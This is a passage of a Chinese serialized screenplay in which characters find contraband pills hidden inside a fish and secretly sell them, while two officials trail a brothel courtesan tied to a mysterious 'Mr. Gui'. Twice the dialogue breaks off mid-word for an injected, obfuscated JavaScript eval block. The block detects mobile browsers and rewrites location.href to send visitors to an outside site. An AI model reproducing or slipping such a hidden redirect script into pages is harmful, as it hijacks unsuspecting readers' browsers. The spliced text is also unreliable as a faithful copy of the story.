伍灵儿:怎么是你? 余守泰:灵儿,你姐姐怎么样了?我过来看看她! 伍灵儿:你走吧,我们家不欢迎你! 屋里传来伍仙儿的声音:“是余大哥吗?灵儿,快让他进来吧!”听见这话,也不管伍灵儿愿不愿意,余守泰便走了进去。 余守泰:仙儿,你怎么样啊?好些没?你瞧瞧你这气色,怎么这么差呀?是不是没睡好? 伍灵儿:这跟你有什么关系! 伍仙儿:灵儿,你别说了,快去给余大哥倒杯茶! 伍灵儿:我不去! 伍仙儿:你……咳咳!(一着急又咳嗽了起来) 余守泰:(急忙安慰)仙儿,没事儿,我不渴!(举起手中的鱼)你瞧瞧!这是什么?今儿中午咱们炖鱼汤,你多喝几碗,把之前损耗的精气神找补回来! 伍灵儿:(顿时来了精神)呀,好大的一条鱼啊!余大哥,你怎么知道我们姐弟俩几天都没开荤了呢? 余守泰:嘿嘿,你姐姐要补身子、你要长个子,能不多吃点儿肉吗?来来来,把这个拿去厨房! 伍灵儿:哎,好嘞!(拎着那条大鱼,喜滋滋地去厨房了) 伍仙儿:余大哥,我弟弟给你们哥俩添了那么大的麻烦,你能来看看我,我就已经感激不尽了,又何必这么破费呢? 余守泰:呵呵,仙儿,我知道你的心里还惦记着鹏子,其实他也挺想来,就是怕因为上次的事,灵儿不待见他…… 伍仙儿:上次的事,全是灵儿的错,不管他是打他还是骂他,我都不怨他。 余守泰:唉,鹏子能遇上你这么好的一位姑娘,可真是他上辈子修来的福气呀!仙儿,你且好好地养病,灵儿和鹏子之间,我自会替你劝他们。等这段日子过去了,咱们还是跟原来一样,一家人和和美美地在一起!嘿嘿! 8-41 伍仙儿和伍灵儿家(日,内) 人物:余守泰、伍灵儿 余守泰来到厨房,跟伍灵儿一起着手准备午饭。 伍灵儿:以后你们哥俩,我只认你一个! 余守泰:你姐夫不也是为了你好吗?小子我告诉你,这回你落在青姑娘的手上,算你走运;你若是落在了宁姑娘的手上,这会儿早就蹲班房了! 伍灵儿:不就是偷了点儿东西吗?街上到处都是贼,怎么不去拿他们呢? 余守泰:那得看是偷了谁的东西、偷了多少东西,你以前进过班房吗? 伍灵儿:我这么机灵,怎么可能被他们抓住? 余守泰:小子,你若进了班房就会知道,那里面根本就不是人待的地方,就你这小矮个儿,不被他们打死才怪! 余守泰一边说,一边划开鱼肚,里面竟露出一截麻绳。 余守泰:咦,这鱼肚子里面怎么会有根麻绳? 伍灵儿:是不是鱼钩上的? 余守泰:里面好像还有些东西……(用手指一勾,竟从鱼肚子里掏出一个油纸袋来) 伍灵儿:这是什么? 余守泰:不知道啊!(捏了捏油纸袋)里面鼓鼓囊囊的,像是装着什么…… 伍灵儿:快打开看看! 余守泰:(打开油纸袋,里面竟是些药丸)什么东西? 伍灵儿:我瞧瞧!(拿起一粒药丸,放在鼻尖嗅了嗅,正要喂进嘴里,却被余守泰拦住) 余守泰:你这孩子,怎么什么东西都敢往嘴里喂呀?若是有毒怎么办? 伍灵儿:这些药丸怎么会在鱼肚子里? 余守泰:我哪儿知道呀?那鱼贩子把它卖给我的时候,也没说这里面有东西呀!要不这样,我拿去给宁姑娘瞧瞧,她是大夫,肯定认得这些东西。 伍灵儿:你不是说她想把我送进班房吗?若拿去给她看了,她又说是我偷的,怎么办? 余守泰:这条鱼是我带来的,跟你没关系! 伍灵儿:可它现在在我家里,若真问起来,我可说不清楚。 余守泰:那怎么办呀?要不我去问问那个鱼贩子,看是不是他不小心掉进去的。 伍灵儿:咱们又不是头一回吃鱼,以前从不曾遇到过这样的情况。这药丸用油纸包着、还用麻绳拴着,分明就是有心装进去的。 余守泰:谁会把这东西装在鱼肚子里呀? 伍灵儿:要不这样吧,我去问问我朋友,看他们认不认识这东西。 余守泰:你那些朋友靠谱吗? 伍灵儿:我就知道你不信我,我只拿一粒,这样总行了吧? 余守泰:那行!你先去问问,等问清楚了,咱们再决定怎么办! 8-42 天地会总会,前门(日,外) 人物:余守泰、伍灵儿 余守泰从里面出来时,伍灵儿正在等着他。 余守泰:你怎么又来了?不是说了让你别来这里吗?小心别让你姐夫看见了! 伍灵儿:谁说他是我姐夫?他给我当小弟还差不多,哼! 余守泰:你这孩子,跟你姐夫赌什么气呀!得得得,有什么事赶紧说吧! 伍灵儿:余大哥,咱们发财了! 余守泰:发财了?什么意思? 伍灵儿:上次的那些药丸,我已经打听清楚了,那东西可值钱了! 余守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007423|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泰:可值钱了?值多少钱呀? 伍灵儿:就那么小小的一袋,足够你在城南买栋大房子了。 余守泰:真的假的?你别诓我! 伍灵儿:我只是个贼,又不是骗子,诓你干嘛? 余守泰:照你这么说,这东西既然这么值钱,为何要塞在鱼肚子里?也不怕丢了吗? 伍灵儿:嘿嘿,这你就不懂了吧!这东西虽然值钱,却是禁药,医馆里不许卖,只能偷偷地运进来。 余守泰:偷偷地运进来?那不是犯法的吗? 伍灵儿:有人愿意买、有人愿意卖,犯什么法呀。 余守泰:官府不查吗? 伍灵儿:查呀,可就是查不到,最后只能作罢。 余守泰:这么牛啊?那这些东西是从哪里来的? 伍灵儿:听说是从海上运过来的。 余守泰:从海上运过来的?难怪会被装在鱼肚子里…… 伍灵儿:可不是嘛!一条渔船上那么多鱼,官府怎么可能一个一个地搜查,这不就被他们蒙混过关了吗? 余守泰:问题是它怎么到了我的手上?我那天买鱼的时候,那鱼贩子没跟我提这个事呀! 伍灵儿:我估计,他可能拿错了。 余守泰:拿错了? 伍灵儿:对呀!那些鱼长得都是一个模样,难保他不会看花了眼。 余守泰:既然这样,咱们还是赶紧报官吧! 伍灵儿:报官?余大哥,你犯什么糊涂呀! 余守泰:怎么了?难不成你还想自己留着吃啊? 伍灵儿:嘿嘿,不如咱们把它转手倒卖了…… 余守泰:臭小子,你姐夫说得没错,你早晚一天会被人打死。连这种东西都敢卖,你就不怕被官府的人抓住了? 伍灵儿:那你可想好了!这东西如今紧俏得很,有钱还不一定买得到。财神爷已经到了你家门口,你若把他赶走了,挨穷也活该!哼! 余守泰:你…… 伍灵儿:余大哥,不是我说你,你又不是个官儿,做人做事,何必那么正直呢?你瞧瞧你周围的人,哪个不是在变着法儿地捞钱? 余守泰:这种钱太烫手了,我怕把自己搭进去了。 伍灵儿:富贵险中求!那些捕鱼卖鱼的人都不怕,你怕什么呀?就算是出了事,你只要把他们供出来,不也能将功赎罪吗? 余守泰:可我怕鹏子知道了…… 伍灵儿:你不说我不说,谁知道呀?那条鱼已经被咱们吃下肚了,别说是我姐夫,就算是那个鱼贩子,也未必知道这东西在我们的手里。 余守泰:可你要是转手倒卖的话,不就有人知道了吗? 伍灵儿:咱们不在凤凰城里卖不就行了! 余守泰:小子,上次是你怎么被逮住的,这么快就忘了呀? 伍灵儿:上次的事不怪我,是赵康那小子太笨了!这次咱们走远点儿,大不了去梁州以外的地方卖,卖出去一些就换一个地方,我就不信他们能逮得住我! 余守泰:唉,行吧,谁让咱们缺钱呢!不过小子,咱们先说好,仅此一回,下不为例! 伍灵儿:这种天上掉馅饼的事,你还想有下回?做梦吧! 余守泰不太放心伍灵儿,只给了他一部分药丸,让他将这些卖出去之后,拿来了钱,再给他另一部分。伍灵儿虽然对此颇有些微词,但一想到钱也有自己的份儿,便不再计较了。伍灵儿走后,余守泰的心里总惦记着那些药丸,又忍不住去了一趟鱼行,想看看自己能不能再交到上次那样的好运,却意外地发现,鱼行竟然关门了。 8-43 农贸市场(日,外) 人物:余守泰、店铺伙计 见鱼行的门关着,余守泰找隔壁店铺的伙计打听。 余守泰:伙计,这家鱼行怎么关门了呀? 隔壁店铺的伙计:不太清楚,说关就关了,估计是家里有什么事吧。 余守泰:那它什么时候再开呀? 隔壁店铺的伙计:这个谁知道呀,你要是想买鱼的话,去别家瞧瞧吧! 听了这话,余守泰的心中倍感失望:伍灵儿说得没错,天上掉馅饼的事,果然只能有那么一回。 77. 第八篇 桂先生的药 梁州,茂源城 8-44 春风楼(夜,内) 人物:老鸨、裴光年、小迢 老鸨瞅了一眼裴光年手里的会员卡,摇了摇头。 老鸨:裴公子,不是我不想让您见无双姑娘,实在是您的这张会员卡,级别太低了! 裴光年:级别太低了?当初我办这张卡的时候,你是怎么说的?你说凭这张卡,可以自由地出入春风楼里的每一个地方,不是吗?如今别的地方都可以去,唯独无双姑娘居住的落絮飞花却不能去,是何道理? 老鸨:公子,您再仔细瞧瞧,这张卡的下面还有一行小字呢! 小迢:小字?什么小字?让我瞧瞧! 小迢从裴光年的手里接过会员卡,眯起眼睛仔细地看。 小迢:(读下面的一行小字)落絮飞花除外。 裴光年:落絮飞花除外? 老鸨:没错!凭这张卡,可以自由地出入春风楼里的每一个地方,唯独无双姑娘居住的落絮飞花除外。 裴光年:当初我办卡的时候,你怎么没提这个? 老鸨:卡的上面写得明明白白,您自己没看清楚,怨谁呀? 小迢:什么叫我们没看清楚?明明是你故意瞒着不说,当初你若是说了,我们就不办这张卡了!哼! 老鸨:唉,可不是嘛!我若早知道裴公子您是为了无双姑娘而来,当初就不让您办这张卡,而让您办另一张卡了。 裴光年:另一张卡?什么卡? 老鸨:当然是咱们春风楼里最高级别的黑卡了!有了这张卡,就算是无双姑娘居住的落絮飞花,也照样为您敞开大门。 裴光年:怎么办?是不是又要加钱? 老鸨:嘻嘻,裴公子您果然是个明白人。要知道,无双姑娘可是咱们春风楼的头牌,她的门槛自然比别的姑娘要高出许多。 裴光年:多少? 老鸨:嘻嘻,对别人来说可能有点儿多,但对于像您这样的名门贵公子来说,一点儿也不多。 裴光年:到底要多少? 老鸨:(伸出五个指头)嘻嘻,只需再补交五百两银子就够了。 小迢:(吓了一跳)五百两?为了一个青楼女子?她值吗? 老鸨:嘻嘻,等您见到了无双姑娘,自然就会明白,这笔钱花得一点儿都不冤! 8-45 客栈,客房(夜,内) 人物:裴光年、小迢 裴光年和小迢悻悻地回到了客栈里。 裴光年:唉,钱钱钱!又是钱!天天都在为这点儿破事发愁! 小迢:要不怎么说一文钱难倒英雄汉呢!五百两银子若搁在过去,对您来说根本不算什么,可如今却不一样了…… 裴光年:别再提什么过去了,还是想想接下来该怎么办吧! 小迢:若为别的事,倒还能想想办法,可这钱的事,还真是不太好办。之前在春风楼里办的那张会员卡,已经花光了咱们所有的积蓄,若想再升级为黑卡的话,就只能去借钱了。 裴光年:五百两银子可不是一笔小数目,谁会借给咱们? 小迢:唉,是啊! 二人皱着眉头想了半天,也想不出该去哪里筹借这五百两银子,就在这时,小迢瞅了一眼裴光年,小心翼翼地说。 小迢:少爷,实在不行的话,您就勉为其难、去求一回张督察吧! 裴光年:(一听便恼了)我求他?他是督察,我也是督察,凭什么让我去求他? 小迢:我知道,您还记着当年的仇呢!可这里是他的辖区,不找他找谁呀?更何况天堂草出现在春风楼里的消息,不还是他透露给您的吗? 裴光年:你以为他这样做是为了帮我呀?错了!他只是想利用我! 小迢:(吃惊)啊!您的意思是他又想跟您抢功? 裴光年:我们在这里的一举一动,他都盯着呢。 小迢:如果我们查到最后,他突然冒了出来,怎么办? 裴光年:没有如果,他肯定会这么做!哼! 梁州,凤凰城 8-46天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 余守泰笑嘻嘻地对金鹏道。 余守泰:鹏子,哥有个好消息要告诉你。 金鹏:好消息?你能有什么好消息? 余守泰:瞧你这话说的,我怎么就不能有好消息了?难不成在你眼里,我就活该倒霉呀? 金鹏:不不不,哥,我不是这个意思!你有什么好消息,快说吧! 余守泰:唉,算了,我还是不说了。以后你的事,还是你自己操心吧,哥哥我不管了! 金鹏:哥,你跟我置什么气呀?我错了,我向你赔不是,这样总行了吧?你有什么事快说吧,我听着呢! 余守泰:嘿嘿,鹏子,哥告诉你,伍灵儿出门去了! 金鹏:哦,然后呢? 余守泰:什么然后?不就是伍灵儿出门去了吗? 金鹏:没别的了? 余守泰:没有了呀! 金鹏:这算哪门子好消息呀?他出不出门,关我什么事呀? 余守泰:他不在家,你正好可以去看看伍仙儿了,不是吗? 金鹏:他在家,我不去,他不在家,我就去了。不知道的人,还以为我怕了他呢! 余守泰:伍灵儿不学好,周围的人都知道,你这个时候过去,没人会说你。 金鹏:要去你去,我不去! 余守泰:伍仙儿躺在病床上的时候,还不住地问起你,说上次的那件事,全是伍灵儿的错,你就算是打他骂他,她也不怪你。 金鹏:我跟她没名没分,如今她一个人在家,我去算什么事呀?要不这样吧,你跟我一起去! 余守泰:你俩眉来眼去,我夹在中间多尴尬呀! 金鹏:反正你不去我也不去! 余守泰:唉,得得得,我跟你一起去!(嘀咕)脸皮这么薄,怎么娶媳妇呀? 梁州,茂源城 8-47 春风楼,门前(夜,外) 人物:裴光年、小迢 第二天晚上,裴光年和小迢又来到了春风楼,想看看有没有别的办法能见到无双姑娘,刚打算进去,却见几个家丁抬着一顶轿子从里面出来了。 小迢:咦,少爷,那顶轿子里坐着的会不会是无双姑娘? 裴光年:你怎么知道? 小迢:(指着轿子旁一名随行女子)瞧见那个小丫头没?她叫冬儿,是无双姑娘身边的小丫鬟。 裴光年:(吃惊)你连她都认识? 小迢:嘿嘿!少爷,实不相瞒,我这张脸,不管走到哪里,都有女孩子主动跟我套近乎。在别处是这样,在春风楼里也一样。你在里面喝花酒的时候,我在外面也没闲着,她们一个接一个地找上我,我想歇会儿都没工夫。 裴光年:(白了他一眼)等事办完了,我的这张卡送给你,你可以来这里跟她们好好地聚一聚。哼! 8-48 荣盛山庄,门前(夜,外) 人物:裴光年、小迢 裴光年和小迢尾随着那顶轿子,来到了一处僻静的山庄前。 小迢:荣盛山庄?这是什么地方? 裴光年:门口有守卫,应该是一处私宅。 小迢:谁的? 裴光年:连无双姑娘都自己送上门来了,还能是谁的?当然是黑卡会员的了! 小迢:少爷,你说这无双姑娘到底长什么样儿?值不值那五百两银子呀? 裴光年:老鸨不是说了吗?会员卡一旦办了,甭管你来不来春风楼,钱都不能再退了。 小迢:什么意思? 裴光年:意思就是,哪怕无双姑娘长着三头六臂,看在五百两银子的份上,你也会说她美若天仙。 小迢:怎么可能!我又不是傻子! 裴光年:说出来才是傻子呢! 守卫一见是无双姑娘的轿子,便立马打开门让她进去了。 小迢:少爷,怎么办?他们肯定不会让咱们进去。 裴光年:(皱着眉头想了想)你这张脸,对男人管用吗? 小迢:(面露难色)少爷,他们一共有八个人。 裴光年:八个人怎么了?八个人你就对付不了吗? 小迢:如果他们一个接一个地上的话,我还能勉强应付一下,但如果他们一起上的话,那我可就惨了! 裴光年:唉,罢了,还是另想办法吧! 8-49 荣盛山庄,后院(夜,外) 人物:裴光年、小迢 裴光年和小迢绕到山庄后面,意外地发现有一棵歪脖子老树,将一根细细的枝干伸进了山庄里。 裴光年:咱们从这里进去。 小迢:少爷!这件事太危险了,要不您在这里等着,我进去瞧瞧。 裴光年:你一个人进去吗?那样岂不是更危险? 小迢:我的个头儿不大,他们不容易发现我。更何况,我若是被他们抓住了,您还可以救我出去;可您要是被他们抓住了,我就只能去求张督察来救您了。 裴光年:唉,那行吧,你先进去瞧瞧,小心点儿。 小迢:哎,好嘞! 小迢踩着老树的枝干,跃进了山庄里。见他如此急切,裴光年忍不住笑了。 裴光年:唉,小子,别以为我不知道你在想什么,这个时候进去,能看见什么?无非是鸳鸯戏水罢了! 8-50 荣盛山庄,走廊上(夜,外) 人物:小迢 进了山庄,见有一间屋子里亮着微弱的灯,小迢便悄悄地靠了过去,将耳朵贴在窗子上,听屋里的两个声音道。 屋里的声音甲:不过是丢了一小袋东西而已,用得着这么紧张吗? 屋里的声音乙:这是桂先生的意思。 屋里的声音甲:那老头儿成天窝在他的地宫里,见过外面的世界没? 屋里的声音乙:桂先生说,让你再给他送几个人过去。 屋里的声音甲:真他妈是个疯子!老子只想发财、不想杀人! 屋里的声音乙:你最好别胡言乱语,桂先生的耳朵可是很灵的! 屋里的声音甲:他在海上,我们在岸上,隔着这么远,我就不信他能听得见! 屋里的声音乙:桂先生……他无处不在。 8-51 荣盛山庄,后院(夜,外) 人物:裴光年、小迢 小迢从山庄里出来时,脸色发白。 裴光年:(打趣)怎么样?看见无双姑娘的真容没?是不是真的美若天仙? 小迢:少……少爷! 裴光年:怎么了?你怎么像是丢了魂一样? 小迢:(结结巴巴地)少爷,那个桂先生……他……他回来了。 听了这话,裴光年似乎并不意外。 裴光年:不是回来了,而是他根本就没离开沉香国。 小迢:(突然想起来)他在海上!那个人是这么说的! 裴光年:谁? 小迢:跟无双姑娘在一起的那个人!我想,他应该就是这个山庄的主人。 裴光年:是吗?呵呵,那就好办了。 小迢:少爷,还有件事…… 裴光年:什么? 小迢:那个无双姑娘,她……她是个男的。 梁州,凤凰城 8-52 伍仙儿和伍灵儿家(日,外) 人物:金鹏、余守泰、伍仙儿 金鹏和余守泰刚走到伍仙儿家的门口,却见她从里面出来了。 余守泰:咦,仙儿?你怎么出来了? 伍仙儿:余大哥!(看见金鹏十分意外,脸刷地一红)哦,金……金公子?你们……你们怎么都来了? 余守泰:鹏子说他不放心你一个人在家,所以过来瞧瞧。(见她手里拎着篮子)仙儿,你这是要去哪儿呀? 伍仙儿:哦,我出去买点儿菜。 余守泰:你的病才好些,别出去吹风了。鹏子,你跟仙儿回屋,我去买吧! 伍仙儿:这怎么好意思呢! 余守泰:有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007424|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不好意思的!你俩快进去吧,我一会儿就回来! 8-53 伍仙儿和伍灵儿家(日,内) 人物:金鹏、伍仙儿 伍灵儿不在家,家里的粗活儿都是伍仙儿自己在干,金鹏见了,便主动帮她挑水劈柴。 伍仙儿:(端来茶水)金公子,快别干了!您是客人,还是坐下来喝杯茶吧! 金鹏:没事儿!你一个姑娘家,身上没力气,像这种粗活儿还是我来帮你干吧! 伍仙儿:上次的事,真是太对不住您了! 金鹏:唉,事情已经过去了,别再提了!我听我哥说,你弟弟出门去了,怎么回事? 伍仙儿:哦,他去义州了。 金鹏:义州?怎么去了那么远的地方? 伍仙儿:我听他的意思,好像是有个朋友在那边,可以帮他找个活儿干。 金鹏:若真如此,倒是件好事。不过,他一个人在那边,你放心吗? 伍仙儿:起初我也有些担心,不过后来想想,他也不小了,也该出去长长见识了。 金鹏:在义州那边,可别再干那种偷鸡摸狗的事了。 伍仙儿:临走之前,我也是这样嘱咐他的。 金鹏:你这个当姐姐的,别事事都护着他,该骂就骂、该打就打,不能由着他胡来! 伍仙儿:其实灵儿小时候也挺乖,只因结交了一些不太好的朋友,才变成了那副样子。 金鹏:那就让他别再跟他们来往了。 伍仙儿:我跟他说过很多次,他嘴上虽然答应了,可就是不长记性。 金鹏:等哪天他被官府的人抓进了牢里,自然就长记性了! 8-54 街道上(日,外) 人物:余守泰、赵康 余守泰拎着篮子在街上走,意外地遇见了赵康。 赵康:咦,余大哥! 余守泰:赵康?你在这里干什么呀? 赵康:我正打算去找灵儿呢! 余守泰:他没在家,你别去了! 赵康:这么巧?那他什么时候回来? 余守泰:一时半会儿回不来,怎么了? 赵康:哦,这样啊,那真是太可惜了! 余守泰:(好奇地)可惜?可惜什么? 赵康:哦,没什么。 余守泰:小子,你该不会又想跟他一起干什么坏事吧?我可告诉你,伍灵儿如今有他姐夫管,你小子若不想挨打的话,就离他远点儿! 赵康:我知道,你们是天地会的人,我可惹不起。不过我这次来,还真是为了他好。 余守泰:你为了他好?真的假的? 赵康:我跟他这么多年的交情,你说呢? 余守泰:那你倒是说说,你找他干什么? 赵康:唉,还是等他回来再说吧。(转身要走,被余守泰拦住) 余守泰:小子,上次你们被督察府的人逮住,可是我在青姑娘面前替你们求的情,不然的话,这会儿你们还保不定在哪儿呢! 赵康:那我要是告诉了你,你可别说出去了。 余守泰:放心吧,我这个人的嘴最严实了。你快说吧! 赵康:前阵子灵儿不是拿了粒药丸、让我帮忙打听一下那是什么东西吗? 余守泰:噢,原来是为了这个。 赵康:怎么?你也知道呀? 余守泰:如今我和伍灵儿就跟一家人差不多,他的事我一清二楚。 赵康:那你知不知道他手里还有多少那样的丸子? 余守泰:怎么?我可告诉你,你休想打它的主意。 赵康:我是来告诉他,那东西如今到处都断货了,价钱一天比一天高,他手里若有的话,就趁早拿出去卖了,能挣不少钱呢! 余守泰:(两眼放光)真的吗? 赵康:骗你是小狗! 余守泰:那东西如今卖多少钱呀? 赵康:今儿一两银子一粒,明儿可能就会变成二两银子一粒了。 余守泰:天哪!涨得这么快? 赵康:对呀!这个时候不出手,更待何时?唉,你说这个伍灵儿,怎么就偏偏在这个时候出去了呢? 余守泰:他在家又能怎样?那东西他也只有那么一粒。 赵康:啊!那他当初还打听什么呀? 余守泰:好奇呗! 8-55 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:余守泰、金鹏 金鹏睡得正香。 余守泰躺在床上,怎么都睡不着,他的心里还惦记着赵康说的那些话。 余守泰(内心独白):唉,怎么办呢?伍灵儿去了义州,还不知道什么时候才能回来。我手里的这些药丸,得趁早卖出去才行,晚了怕是赚不到那么多钱了。可这件事只有我和伍灵儿知道,没人帮我,我一个人怎么卖呀?总不能直接跑去大街上,问人家想不想买吧?(叹了口气)唉,怎么办呢?(灵机一动)咦,不是还有赵康吗?如今他也知道这件事,我可以找他帮忙嘛!(又皱起眉头)问题是那小子靠得住吗?…… 余守泰思来想去,一夜都没合眼。 8-56 街道上(日,外) 人物:余守泰、赵康 余守泰又找上了赵康。 余守泰:康儿,我问你个事,那些药丸如今都有哪些人想买呀? 赵康:多了去了!除了青楼和医馆,之前买过那些药丸的人,也都想再囤点儿! 余守泰:那东西为何会断货? 赵康:这个我也不太清楚,那东西是从海上运过来的,官府又查得严,估计想进货的话,也没那么容易。怎么?你该不会也想弄两粒尝尝吧? 余守泰:(摇摇头)一两银子一粒,我可吃不起。不过我倒是很好奇,在这些想买的人当中,谁出的价最高? 赵康:谁出的价最高?嗯,让我想想……噢,是春风楼! 余守泰:春风楼? 赵康:对呀!这东西在他们那里卖得最好,如今断了货,当然也是他们最着急了! 78. 第八篇 桂先生的药 义州,卓远城 伍灵儿是个小机灵,他在出门之前,就已经跟朋友打听好了,这些药丸通常都在医馆和青楼里偷偷出售。到了义州之后,他白天在医馆附近转悠、晚上在青楼附近转悠,观察着来来往往的人,偷听他们的谈话,寻找合适的买家。 8-57 医馆(日,内) 人物:大夫、患者、伍灵儿 一个患者正与医馆里的大夫轻声交谈。 患者:大夫,您上回给我开的那药简直太神了,这几日我老婆天天都在夸我,说我像是一下子年轻了二十岁! 大夫:嘿嘿,这会儿知道它的好了?上回我给你开那药的时候,你不是还嫌它太贵了吗? 患者:不贵!一点儿都不贵!大夫,您再多给我开几副,我现在几乎每天晚上都离不开它了! 大夫:是药三分毒,不能多吃! 患者:您是大夫,心中有数。您让我吃多少,我就吃多少,我听您的! 大夫:唉!不是我不想给你开这个药,实在是我手里的药也不多了。 患者:那您干脆都卖给我呗! 大夫:这东西如今一天一个价,你知道吗? 患者:什么意思? 大夫:上回我给你开这个药的时候,只收了你十两银子,可如今它的价钱已经翻了一番。 患者:翻了一番?这才几天工夫呀? 大夫:没办法!不止是我这里,各处都十分紧缺,你想买的话就趁早,过了今晚,明天会涨得更高。 患者:那行吧,您那里还有多少,我全买了! 大夫:别呀,我还想留几粒给自己呢! 患者:您是大夫,哪里用得上这东西?身上若有什么毛病,自己配些药吃吃不就行了? 大夫:唉,别的东西我都能仿出来,唯独这个药,仿不出来。 患者:哦,为何? 大夫:没那个胆子啊! 二人的对话,被伍灵儿全偷听了去。患者走后,他趁机凑到大夫面前。 伍灵儿:大夫,您刚才给他开的什么药?也给我来两粒尝尝呗! 大夫:(呵斥)你一个小孩子,没病没灾,瞎吃什么药啊!那东西是你能吃的吗? 伍灵儿:嘿嘿,我知道!那东西叫赛神仙,对不对? 大夫:(吃了一惊)咦,你怎么知道?(意识到说漏了嘴,又摆摆手)哦,不!什么赛神仙?我从来没听说过! 伍灵儿:我都看到了,你还装什么呀?这座城里又不是只有你一家医馆在偷偷地卖这个,钱都已经揣进怀里了,还不敢承认了。 大夫:臭小子,你来这里干什么?有病治病,没病滚蛋! 伍灵儿:我可是财神爷下凡,你没看出来吗? 大夫:你是财神爷下凡?(冷笑一声)哼,我还是玉皇大帝下凡呢! 伍灵儿:(拿出一粒药丸)玉皇大帝有这个吗? 大夫:(微微一愣)咦?臭小子,你怎么会有这东西?噢,我明白了,肯定是偷的! 伍灵儿:(模仿大夫的口吻)这东西如今一天一个价,过了今晚,明天会涨得更高。 大夫:臭小子,胡说什么呢! 伍灵儿:想不想挣更多的钱? 大夫:怎么?你有啊? 伍灵儿:不仅有,数量还不少。 大夫:小子,我听你的口音,不像是本地人。是不是在别处犯了什么事,想来这里销赃啊? 伍灵儿:唉,看来你是不打算发这笔横财了!罢了,我再去别家看看!这么好的东西,不愁卖不出去! 伍灵儿假装要走,大夫急忙叫住他。 大夫:喂喂喂,小子!你跟我说句实话,你那里真的有这东西吗? 伍灵儿:耳听为虚眼见为实,你不都已经验过货了吗? 大夫:你那里有多少? 伍灵儿:也没多少了,你想买的话就趁早。 大夫:行呀,小子,学得倒挺快!要不这样吧,你把你那些东西拿过来让我瞧瞧,若是真的,我全买了! 8-58 客栈,客房(夜,内) 人物:伍灵儿 望着眼前厚厚的一沓银票,伍灵儿的心里别提有多美了。 伍灵儿(内心独白):没想到这么容易就卖出去了,果然是个好东西!唉,可惜只有那么一小袋,若是能再多点儿,别说这辈子,下辈子都不用愁了!不过话说回来,我这么辛苦,却只能拿到一小半,那个余守泰什么事都没干,却能轻轻松松地分走一大半。如此说来,我岂不是亏大了?不行!不能全给他!(皱着眉头想了想,有了主意)嘿嘿,好说!回去之后,我只说这东西在义州这个地方没几个人认识,卖不出好价钱,只给他一点点,剩下的全藏起来,这样不就行了!嘿嘿,瞧我多聪明呀! 想到这里,他将银票叠起来,藏在鞋垫下面,剩下的两张方才揣进怀里,带回去给余守泰。 8-59 小巷子(日,外) 人物:伍灵儿、流氓若干 伍灵儿在酒楼里美美地吃了一顿,又去街上逛了几圈,给他姐买了几样首饰,然后才慢慢地往回走。刚走进一个小巷子里,却被几个小流氓堵住了去路。 流氓头儿:(一把揪住伍灵儿)臭小子,敢在我们的地盘上卖货,问过我们同意没? 伍灵儿之前在街上混时,也跟这样的人打过交道,自然明白他们想图什么。 伍灵儿:(忙堆起笑脸)大哥,有话好好说。小弟我初来乍到,不懂您这里的规矩。(掏出几个铜板)这是小弟我孝敬您的,您拿去喝酒吧! 流氓头儿根本瞧不上这几个铜板,转手便扔了。 流氓头儿:臭小子,我们盯了你几天了,你在医馆里干了些什么呀? 伍灵儿:我是从外地来的,想在那里找个活儿干。 流氓头儿:可我怎么听医馆的大夫说,你是来卖货的呢? 伍灵儿:那大夫岁数大了,兴许是记错了。 流氓头儿:臭小子,你要是再不老实的话,我们可就不客气了! 伍灵儿:别别别!大哥,我真的是来这里找活儿干的,您要是不乐意的话,我明天就走人。行不? 流氓头儿:走人可以,钱得先留下。 流氓头儿一挥手,小流氓们一拥而上,刚要搜伍灵儿的身,却听他大叫一声。 伍灵儿:我姐夫是天地会的! 这一招果然管用,小流氓们纷纷停下手。 流氓头儿:天地会? 伍灵儿:对呀!我姐夫是天地会总会的人,你们要是把我怎么样了,他可不会放过你们! 流氓头儿眯起眼,将伍灵儿上下打量了一番,冷笑一声。 流氓头儿:臭小子!你想拿天地会来吓唬老子,没用!你姐夫到底是谁,老子没兴趣!就算他是天地会总会的人,这里是卓远城,他也管不着!哼! 流氓头儿说完,便命令手下的小流氓,将伍灵儿身上的银钱和首饰洗劫一空。伍灵儿寡不敌众,只能眼睁睁地看着东西被他们抢走了。 伍灵儿:(愤愤然)奶奶的!老子这个贼祖宗,竟然让一帮贼孙子给打劫了,真他妈晦气!(又暗暗庆幸)不过幸好,他们没发现鞋子里的那些银票。(嘀咕)不过话说回来,这天地会的名号,怎么一出了凤凰城,就不管用了呢?唉! 有了这个教训,伍灵儿不敢再逗留,立马收拾好行李回凤凰城去了。 梁州,茂源城 8-60 春风楼,门前(夜,外) 人物:余守泰、老鸨 余守泰找了个借口,去了一趟茂源城。一路上,他都在心里盘算着怎么把剩下的那些药丸卖出去,到了春风楼时,他便有了主意。 老鸨:这位爷,快进来吧!咱们春风楼的姑娘可都在盼着您呢! 余守泰:老鸨,你误会了,我不是来喝酒的,我是来找人的。 老鸨:找人?谁呀? 余守泰:应武城的周老爷。 老鸨:周老爷?呵呵,他可是咱们这里的常客呀!不过,他今天好像没来呀! 余守泰:没来?不对吧!他临走之前特意嘱咐过我,让我把这东西送到这里来,说是晚上要用…… 